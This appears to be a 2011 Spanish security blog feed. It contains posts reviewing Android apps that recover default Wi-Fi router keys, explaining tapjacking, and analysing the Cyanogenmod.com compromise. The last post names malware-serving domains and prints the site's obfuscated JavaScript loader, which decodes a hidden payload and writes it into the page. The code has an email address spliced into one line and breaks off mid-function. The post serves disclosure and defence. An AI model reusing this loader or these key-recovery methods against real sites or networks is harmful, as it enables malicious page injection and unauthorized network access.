&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7lebKqckZ-gOodkBaI9SjaRvDgMpnsUtKZXM9wQKa00g_jD3p1PP6pqRRn-F7A_0OQELQ5e_5q3Bk9w_nwcv2qPntgsC2nezyJgslxnWn7E1UUNbXGIfGnIKk8xhbERq6lt-B99y2EOXa/s1600/08+Varias+claves+PulWifi4_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7lebKqckZ-gOodkBaI9SjaRvDgMpnsUtKZXM9wQKa00g_jD3p1PP6pqRRn-F7A_0OQELQ5e_5q3Bk9w_nwcv2qPntgsC2nezyJgslxnWn7E1UUNbXGIfGnIKk8xhbERq6lt-B99y2EOXa/s320/08+Varias+claves+PulWifi4_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
En general, &lt;b&gt;pulWifi&lt;/b&gt; es capaz de recuperar la clave de redes WLAN_XXXX, WLANXXXXXX, YACOMXXXXXX, WIFIXXXXXX y JAZZTEL_XXXX (aunque de esta última no siempre es cierto, como vamos a ver un poco más adelante...).&lt;br /&gt;
&lt;br /&gt;
Otra herramienta tan útil como la anterior es&amp;nbsp;&lt;a href=&quot;https://market.android.com/details?id=es.glasspixel.wlanaudit&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;WLANAudit&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Algunas diferencias con pulWifi es que en&amp;nbsp;&lt;b&gt;WLANAudit&lt;/b&gt;&amp;nbsp;no podemos saber de una manera rápida de qué redes podemos recuperar la clave, sino que tenemos que ir mirando red por red cuáles es capaz de romper:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIsUNK1cC7Hv0AOErxllpBWOYDoJIC7aPrhTjmgG_yZR-XXU8lf6DsJ48Gd_NPng6FtLeW6y9YoYj4wuCe_StQRw0u61v9v4KbU-8qubx1K94OUq9z1GYO1XD4crTyRu2MOm6aoMEvxbsy/s1600/01+Todas+wlanaudit4_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIsUNK1cC7Hv0AOErxllpBWOYDoJIC7aPrhTjmgG_yZR-XXU8lf6DsJ48Gd_NPng6FtLeW6y9YoYj4wuCe_StQRw0u61v9v4KbU-8qubx1K94OUq9z1GYO1XD4crTyRu2MOm6aoMEvxbsy/s320/01+Todas+wlanaudit4_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4f9NuQbmsyyyWJAjbCFc8VkxReNcDIevbbawP1Tu-Kpa4Ijhg8X6fYrBQH_TD8UJjb2Pzcolq64mEVjiWx_P1rkjAsVSAf9R24ez8STLoVQCIxVAxCdYacXGkBkgzA9cCdP3vQEBvWPTq/s1600/02+Una+red+wlanaudit2_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4f9NuQbmsyyyWJAjbCFc8VkxReNcDIevbbawP1Tu-Kpa4Ijhg8X6fYrBQH_TD8UJjb2Pzcolq64mEVjiWx_P1rkjAsVSAf9R24ez8STLoVQCIxVAxCdYacXGkBkgzA9cCdP3vQEBvWPTq/s320/02+Una+red+wlanaudit2_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Este problema no lo tiene, por ejemplo, &lt;a href=&quot;https://market.android.com/details?id=com.auditfi&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Auditfi&lt;/b&gt;&lt;/a&gt;. En este caso, se nos permite mostrar tan sólo las redes vulnerables y nos las lista con toda la información que nos interesa: ESSID, clave, potencia y BSSID.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQCru4bmGHufLCTd_pwus7wUZz5qfvRqFUfqy8srmEmpZFqAcBtFXK1kAUoWOHYvAIjssOSFf-dOXO6nXzbBRxB3GldhuB3FQdaKF8mLuSrk4sz3h7zVKMgvCl2oXDlr_PXGUEZHV7CzaU/s1600/auditfi3_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQCru4bmGHufLCTd_pwus7wUZz5qfvRqFUfqy8srmEmpZFqAcBtFXK1kAUoWOHYvAIjssOSFf-dOXO6nXzbBRxB3GldhuB3FQdaKF8mLuSrk4sz3h7zVKMgvCl2oXDlr_PXGUEZHV7CzaU/s320/auditfi3_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeiz1xkCNW9K-H-8l0uMPoYAYTziM3-zbMG-eKGH5jnRk0R9NAjAxG9MPTlGDAkRd0O_w2sSd0r4TXzpBeZdLRXameRB9o_Z7byNPsjp3wA__Jv0lnBpZeib8Wn9QFXhgva_87-XlbEZma/s1600/auditfi4_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeiz1xkCNW9K-H-8l0uMPoYAYTziM3-zbMG-eKGH5jnRk0R9NAjAxG9MPTlGDAkRd0O_w2sSd0r4TXzpBeZdLRXameRB9o_Z7byNPsjp3wA__Jv0lnBpZeib8Wn9QFXhgva_87-XlbEZma/s320/auditfi4_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Como podéis ver en las imágenes, una de las redes vulnerables es del tipo JAZZTEL_XXXX, que es de la que se muestra la segunda captura con la clave.&amp;nbsp;Aunque, por motivos evidentes, he tapado el nombre de la red, si volvéis a &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG4n3szAvlDHT1nDBLloYFvfcbJ_Cq_NU7dNBHCxdWCW-JWuSFRlJfpFdcVR88sIa8_povEmSR85Kbx-jUpqpZz7BkkgKZ_UaC8Kom3eH8lyjD98WfaVrjXSwWHM0S2ep4rKnes3DWbJIG/s1600/01+ppal+pulwifi_MOD.jpg&quot; target=&quot;_blank&quot;&gt;la primera captura de pulWifi&lt;/a&gt; y os fijáis en la primera de las que aparecen en rojo (de las que no puede recuperar la clave) veréis que se trata de la misma red.&lt;br /&gt;
&lt;br /&gt;
Es por ello que os comentaba que pulWifi no siempre funciona con las redes JAZZTEL_XXXX. Sin embargo tanto &lt;b&gt;Auditfi&lt;/b&gt;, como &lt;a href=&quot;https://market.android.com/details?id=es.sietebit.wifipass&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;wifiPass&lt;/b&gt;&lt;/a&gt; las soportan a la perfección.&lt;br /&gt;
&lt;br /&gt;
Esta última herramienta de las que os voy a hablar (wifiPass) es muy parecida a Auditfi. Aunque en este caso directamente sólo muestra las redes vulnerables sin ninguna más información. Pulsando sobre cada una de las redes vamos viendo las claves y copiándolas al portapapeles:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_DJDOrGO6JytWeQebMWZnB9XbOPoh-_A9eiBLScGeae3MWvxsNb1PGO3kktL3GILYTo3X_lbN6Ax1i6hPvel7oL2pkoupjjqPr7cH_BfrwDwOKS3swHxzhP5QnFffyoHXUu8zDx_b_Vst/s1600/wifipass2_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_DJDOrGO6JytWeQebMWZnB9XbOPoh-_A9eiBLScGeae3MWvxsNb1PGO3kktL3GILYTo3X_lbN6Ax1i6hPvel7oL2pkoupjjqPr7cH_BfrwDwOKS3swHxzhP5QnFffyoHXUu8zDx_b_Vst/s320/wifipass2_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0V2A1_89hi_AfVqWDroc3PhxgU5hLszmlHCwbhEvUtTJLYB5Pcm1nL2spoKMbMIuQ50VTgBervKGYtE7xZ34ZpwrAf-liltGcbGwlvGJqUnwsTZar3uzg_-9542f7qwkr-PoXZYazmikF/s1600/wifipass3_MOD.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0V2A1_89hi_AfVqWDroc3PhxgU5hLszmlHCwbhEvUtTJLYB5Pcm1nL2spoKMbMIuQ50VTgBervKGYtE7xZ34ZpwrAf-liltGcbGwlvGJqUnwsTZar3uzg_-9542f7qwkr-PoXZYazmikF/s320/wifipass3_MOD.jpeg&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Éstas son, tan sólo, algunas de las muchas herramientas para Android que nos permiten auditar la seguridad de &lt;b&gt;NUESTRA&lt;/b&gt; red Wi-Fi. Otros ejemplos son &lt;a href=&quot;https://market.android.com/details?id=com.pcalderon.hhg2xxfree&quot; target=&quot;_blank&quot;&gt;HHG5XX WEP scanner&lt;/a&gt; o Penetrate Pro, de la que no hace mucho hablaron en &lt;a href=&quot;http://foro.seguridadwireless.net/noticias-wireless/penetrate-pro-2-11-1/msg219174/#msg219174&quot; target=&quot;_blank&quot;&gt;Seguridad Wireless&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Como veis, aunque los ISPs nos vendan que la seguridad de nuestra Wi-Fi es la correcta por estar utilizando WPA2, &lt;b&gt;no tenemos que dejad de cambiar las contraseñas y ESSID por defecto&lt;/b&gt; que vienen con los routers.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado interesante la entrada y os animo a que os pongáis en contacto con nosotros si conocéis alguna herramienta parecida.</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/jugando-con-la-wi-fi-desde-android-i.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/1144727999452457019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/1144727999452457019'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/jugando-con-la-wi-fi-desde-android-i.html' title='Jugando con la Wi-Fi desde Android (I)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG4n3szAvlDHT1nDBLloYFvfcbJ_Cq_NU7dNBHCxdWCW-JWuSFRlJfpFdcVR88sIa8_povEmSR85Kbx-jUpqpZz7BkkgKZ_UaC8Kom3eH8lyjD98WfaVrjXSwWHM0S2ep4rKnes3DWbJIG/s72-c/01+ppal+pulwifi_MOD.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-2421130075795842740</id><published>2011-11-10T23:12:00.000+01:00</published><updated>2011-11-10T23:13:49.766+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="La X marca el lugar"/><title type='text'>Estrenamos página en Google+</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafvQ_5TnmBOXOruBuF3FEfpbUkDv3l0riJzb7gAS76dk5Acm0lmUanXqbF2wxXML_xRSxQGFeubPyyce4NwWo7N-XflwopBY_Cj4ukwYa4kVFomZ__P5ksyFCuqgHEBfeKHtRxTuOiklc/s1600/Google%252B.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;141&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafvQ_5TnmBOXOruBuF3FEfpbUkDv3l0riJzb7gAS76dk5Acm0lmUanXqbF2wxXML_xRSxQGFeubPyyce4NwWo7N-XflwopBY_Cj4ukwYa4kVFomZ__P5ksyFCuqgHEBfeKHtRxTuOiklc/s400/Google%252B.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Con la llegada del concepto &quot;página&quot; a &lt;b&gt;Google+&lt;/b&gt; hemos creado un nuevo espacio en donde compartiremos noticias, publicaciones, nuevas herramientas, retos, curiosidades y muchas cosas más. Todo ello, eso sí, relacionado siempre con la &lt;b&gt;Seguridad&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Para seguirnos, tan sólo tenéis que agregar a &lt;b&gt;&lt;a href=&quot;https://plus.google.com/105473615990955510836?prsrc=3&quot; target=&quot;_blank&quot;&gt;La X marca el lugar&lt;/a&gt;&lt;/b&gt;&amp;nbsp;a alguno de vuestros círculos y estaréis al tanto de todo lo que vayamos publicando.&lt;br /&gt;
&lt;br /&gt;
Os recordamos que también podéis seguirnos en &lt;b&gt;Twitter&lt;/b&gt; &amp;nbsp;(&lt;a href=&quot;http://twitter.com/laxmarcaellugar&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;@laXmarcaellugar&lt;/b&gt;&lt;/a&gt;) y en &lt;a href=&quot;http://www.facebook.com/pages/la-x-marca-el-lugar/175932832480227&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Facebook&lt;/b&gt;&lt;/a&gt;.</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/estrenamos-pagina-en-google.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/2421130075795842740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/2421130075795842740'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/estrenamos-pagina-en-google.html' title='Estrenamos página en Google+'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafvQ_5TnmBOXOruBuF3FEfpbUkDv3l0riJzb7gAS76dk5Acm0lmUanXqbF2wxXML_xRSxQGFeubPyyce4NwWo7N-XflwopBY_Cj4ukwYa4kVFomZ__P5ksyFCuqgHEBfeKHtRxTuOiklc/s72-c/Google%252B.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-4994762770317039614</id><published>2011-11-07T07:50:00.001+01:00</published><updated>2011-11-07T10:14:35.605+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="aplicación"/><category scheme="http://www.blogger.com/atom/ns#" term="gingerbread"/><category scheme="http://www.blogger.com/atom/ns#" term="tapjacking"/><title type='text'>TapJacking, un juego peligroso en Android</title><content type='html'>&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;En Android la gestión de permisos es llevada a cabo por el usuario, ya que al ser instaladas las aplicaciones somos nosotros mismos los que tenemos que decidir si otorgamos los permisos solicitados por la aplicación o si los denegamos, dando por cancelada la instalación.&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;  &lt;/span&gt;  &lt;p style=&quot;color: rgb(0, 0, 0);&quot; class=&quot;MsoNormal&quot;&gt;Aquí un ejemplo:&lt;/p&gt;  &lt;p style=&quot;color: rgb(0, 0, 0);&quot; class=&quot;MsoNormal&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXL-JQFBocok5Sy7Pus3yw9x-tFThHdtzCQsrGxwR5JXifUrKwBKePk6hLLrpnm4j8TVoyQc6lDPDHb_9wjSvgKo8_df37vPKiu9NDobz6vOveUkECOwXXVXNX0Pm4GmsZTdwA7iZ14vc/s1600/Ejemplo+permisos.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 214px; height: 320px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXL-JQFBocok5Sy7Pus3yw9x-tFThHdtzCQsrGxwR5JXifUrKwBKePk6hLLrpnm4j8TVoyQc6lDPDHb_9wjSvgKo8_df37vPKiu9NDobz6vOveUkECOwXXVXNX0Pm4GmsZTdwA7iZ14vc/s320/Ejemplo+permisos.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5671962525021276610&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p style=&quot;color: rgb(0, 0, 0);&quot; class=&quot;MsoNormal&quot;&gt;De esta forma siempre vamos a ser conscientes o al menos vamos a tener una idea general, del el nivel de acceso a las funciones de nuestro terminal que puede llegar a tener cada aplicación. &lt;/p&gt;  &lt;p style=&quot;color: rgb(0, 0, 0);&quot; class=&quot;MsoNormal&quot;&gt;Pero como el ingenio no tiene fin, se ha ideado una técnica de saltarse este paso, o mejor dicho, encubrirlo. Concretamente la técnica consiste en tener una aplicación que actúa de gancho (por ejemplo algún juego de habilidad) y que es transparente a las pulsaciones. Ya que nosotros vemos la aplicación gancho y tenemos la impresión de interaccionar con ella pero en realidad estaremos pulsando botones de una aplicación diferente que se encuentre en segundo plano.&lt;/p&gt;  &lt;p style=&quot;color: rgb(0, 0, 0);&quot; class=&quot;MsoNormal&quot;&gt;Para poder hacer la trampa la aplicación gancho debe ser una notificación Toast modificada para que tenga apariencia de otra cosa, por ejemplo un juego. Este tipo de notificación en Android tiene la característica de dejar pasar los toques que se realizan en ella a la aplicación que este ejecutándose debajo. Por lo que teniendo la notificación constantemente en pantalla no se vería nada de lo que ocurre por detrás.&lt;/p&gt;  &lt;p style=&quot;color: rgb(0, 0, 0);&quot; class=&quot;MsoNormal&quot;&gt;Esto permitiría al atacante todo tipo de libertad para hacer el mal, por ejemplo hacerte bajar un malware e instalarlo para obtener todas tus contraseñas, enviar SMS Premium y un sinfín de opciones más. Entre ellas, lo que comentábamos en un principio, camuflar la autorización de permisos por parte del usuario. Permitiendo que se instale cualquier cosa en su propio dispositivo sin saberlo. &lt;/p&gt;  &lt;p style=&quot;color: rgb(0, 0, 0);&quot; class=&quot;MsoNormal&quot;&gt;Aquí podemos ver un vídeo de cómo funciona este sistema mediante una prueba de concepto:&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;/p&gt;&lt;center&gt;&lt;iframe src=&quot;http://player.vimeo.com/video/17648348?title=0&amp;amp;byline=0&amp;amp;portrait=0&quot; webkitallowfullscreen=&quot;&quot; allowfullscreen=&quot;&quot; width=&quot;400&quot; frameborder=&quot;0&quot; height=&quot;225&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;p style=&quot;color: rgb(0, 0, 0);&quot;&gt;Por suerte Google ya fue avisada del problema y ya han tomado cartas en el asunto. Por lo que a partir de la versión de Android 2.3, la GigerBread, ya no hay que preocuparse por este tema. Pero dada la disgregación de versiones que tiene Android y el poco soporte de actualizaciones que dan la mayoría de fabricantes y operadoras todavía existe un alto número de personas con este problema latente en sus terminales. ¿Eres tu uno de ellos?&lt;/p&gt;  &lt;/span&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/tapjacking-un-juego-peligroso-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/4994762770317039614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/4994762770317039614'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/11/tapjacking-un-juego-peligroso-en.html' title='TapJacking, un juego peligroso en Android'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXL-JQFBocok5Sy7Pus3yw9x-tFThHdtzCQsrGxwR5JXifUrKwBKePk6hLLrpnm4j8TVoyQc6lDPDHb_9wjSvgKo8_df37vPKiu9NDobz6vOveUkECOwXXVXNX0Pm4GmsZTdwA7iZ14vc/s72-c/Ejemplo+permisos.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-6576878669538315065</id><published>2011-10-20T14:18:00.000+02:00</published><updated>2011-10-20T14:19:32.778+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Virus"/><title type='text'>Cyanogenmod.com malware spread</title><content type='html'>&lt;p&gt;
Recently, the website Cyanogenmod.com has been compromised, and was spreading a piece of malware loaded from &lt;strong&gt;warlikedisobey.org/coehegzxw8xgahtrb&lt;/strong&gt;, hosted on &lt;a href=&quot;http://www.maxmind.com/app/locate_demo_ip?ips=66.197.158.102&quot;&gt; Indo Network Solutions, Scranton, Pennsylvania (USA) (66.197.158.102)&lt;/a&gt;
&lt;/p&gt;

&lt;strong&gt; Whois info for 66.197.158.102 &lt;/strong&gt; 

&lt;br /&gt;
&lt;pre&gt;IP Information - 66.197.158.102

IP address:                     66.197.158.102
Reverse DNS:                    static-ip-102-158-197-66.host.cybernet.co.id.
ASN:                            21788
ASN Name:                       NOC
IP range connectivity:          7
Registrar (per ASN):            ARIN
Country (per IP registrar):     US [United States]
Country Currency:               USD [United States Dollars]
Country IP Range:               66.197.0.0 to 66.197.255.255
Country fraud profile:          Normal
City (per outside source):      Reno, Nevada
Country (per outside source):   US [United States]
Private (internal) IP?          No
IP address registrar:           whois.arin.net
Known Proxy?                    No
&lt;/pre&gt;
If we query on &lt;a href=&quot;http://urlquery.net/report.php?id=5565&quot;&gt;urlquery.net&lt;/a&gt; for the URL, we can see that this server has been used since 2011-09-27 to spread malware on multiple domains hosted.

&lt;br /&gt;
&lt;pre&gt;2011-10-20 02:41:46 0 warlikedisobey.org/coehegzxw8xgahtrb 66.197.158.102
2011-10-11 01:20:45 0 warlikedisobey.org/osnp91icm/?5 66.197.158.102
2011-10-11 01:16:42 0 nestjolt.org/5gbd3jzxwfqjnp1eh/ 66.197.158.102
2011-10-11 01:14:31 0 nestjolt.org/5gbd3jzxwfqjnp1eh/ 66.197.158.102
2011-10-11 00:59:42 0 http://turbidworship.org/osnp91icm/?1 66.197.158.102
2011-10-06 20:24:52 0 nationearn.org 66.197.158.102
2011-09-27 12:45:01 0 http://starryplank.org/bp1tezzxwtauh 66.197.158.102
2011-09-27 12:35:14 0 http://starryplank.org/bp1tezzxwtauh 66.197.158.102
2011-09-27 12:02:07 0 http://starryplank.org/but3os0wp/ 66.197.158.102
2011-09-27 12:00:59 0 http://starryplank.org/but3os0wp/?3a75067eb1353ae040165 66.197.158.102
&lt;/pre&gt;

&lt;p&gt;
Its seems that Indo Network servers has been used to spread malware and spamming issues several times. If we search on the &lt;a href=&quot;http://www.projecthoneypot.org/ip_66.197.158.102&quot;&gt;Proyect HoneyPot website for the offending IP&lt;/a&gt;, we can see that a number of servers withing Indo Network range has been used for spamming.
&lt;/p&gt;

&lt;p&gt;
The cyanogenmod site has been target of attacks before,and maybe has been spreading malware quietly. These has been already commented on &lt;a href=&quot;http://forum.cyanogenmod.com/topic/31607-intrusion-attempt-from-cyanogenmod-website/&quot;&gt; cyanogen&#39;s forum &lt;/a&gt; before (25 september 2011).
&lt;/p&gt;

&lt;p&gt;
The original post at pastebin &lt;a href=&quot;http://pastebin.com/7mihn8ak&quot;&gt; here &lt;/a&gt;
&lt;/p&gt;

You should take a look at the last line of the following code:


&lt;br /&gt;

&lt;pre class=&quot;brush:javascript&quot;&gt;

&lt;script type=&quot;text/javascript&quot;&gt;
document.cookie = &quot;d41d8cd98f00b204e9800998ecf8427e=&quot;+escape(&#39;1319034785.4877571&#39;)+&quot;; expires=Fri, 18 Nov 2011 00:00:00; path=/&quot;;
&lt;/script&gt;

&lt;script type=&quot;text/javascript&quot;&gt;
fit=0.015;

if(fit&lt;27){
 dip=0.0165;
 dip--
 }

mew=6722;

if(mew&lt;16){

 heh=2823;

 if(heh&lt;7921){
  rif=8773;

  if(rif&gt;null){
   bow=0.0184;
   sri=20;
   sri-=2624
   }
  sod=0.0251
  }
 vet=7;
 vet--
 }

rob=29;

if(rob==null){
 ais=7659;
 ais+=0.004
 }

wog=vig(&#39;rBmJPZfdwfb5GM3a86A8clV6kq6sUne946TfYZstydJ4RiMjC56Fo6htxUcwB0npmsPZKr4g7UGM0W84q6ZUMajEQIUveuDa2MEmsby3JcRuigC06W0VXnxeOwBf1pvbP4qjwl7VGZ048Iqlc3V2FQQZUnaPDq9JYCQwInS6ZBijWVrWufh5RQ&#39;,9);

rat=4015;

if(rat&gt;4054){
 ick=0.013;
 ick++
 }

sad=&#39;gkX_9&#39;;
pis=vig(&#39;HQ2PUZPTYZ&#39;,10);
set=null;
set-=8;
mig=&#39;vt0UuFO&#39;;
wat=document;
wat[pis](wog);

function dom(kb,kf){
 var i,t,q;x=1286;
 if(x==null){
  k=10;
  k-=8392
  }
 b=26;
 b-=3411;
 f=28;

 if(f&lt;0.0196){
  u=0;
  u+=7321
  }
 s=&#39;Nk36Q&#39;;bruiz@alienvault.com
 y=3122;

 if(y!=26){
  l=4058;
  if(l&gt;8){
   v=0.009;
   v--;
   j=0.011;
   j++
   }
  }

 t=/[H7IPqlnO95]/g;
 p=[10,20,0,30];
 c=19;
 q=&#39;7sOu7bPsPtOr&#39;;
 r=19;

 if(r!=2658){
  h=7264;
  h++;
  d=0.017;
  d+=20
  }

 o=4748;
 o+=0.0079;
 z={max:8};
 i=q.replace(t,&#39;&#39;);
 n=1740;
 m=0.0075;

 if(m&lt;0.0363){
  g=14;
  if(g!=29){
   a=0.005;
   a+=13;
   w=0
   }

  kx=5696;
  kx++
 }

 kk=6873;
 kk-=0.03;

 return i

}




function vig(vu,vv){

 var il,g,is,mi,h,nl,be,il,mh,ui,mc,my,ne,nz,mo,iu,g,q,nl,uw,mu,mc,g;
 p=0.0045;

 if(p&lt;18){
  n=7625;
  n++;
  i=0.0127
  }

 m=4666;
 m--;
 b=0.003;
 if(b&lt;0){
  u=0;
  u-=8391;
  v=4913;
  v+=0.0013
  }

 j=9;
 j+=27;
 h=dom();
 f=null;
 f+=0.007;
 a=0.0011;
 z=10;
 q=19;
 y=5306;
 y+=3389;
 l=7735;
 l+=0.0068;
 q-=3;
 w=7120;
 w-=0.0059;
 o=7163;

 if(o&gt;0.0226){
 x=21
 }

 r=0.0078;
 r--;
 g=&#39;RHjfromtI&#39;[h](3,4);
 k=null;
 k-=4019;
 t=8979;
 t--;
 s=0.013;
 s+=0.007;
 g+=&#39;XGBCharDX&#39;[h](3,4);
 c=null;
 c-=8873;
 np=0.002;
 np--;
 nn=23;

 if(nn&lt;0.0128){
  ni=11;
  nm=&#39;jfEK0y&#39;
  }

 g+=&#39;OAnCodepg&#39;[h](3,4);
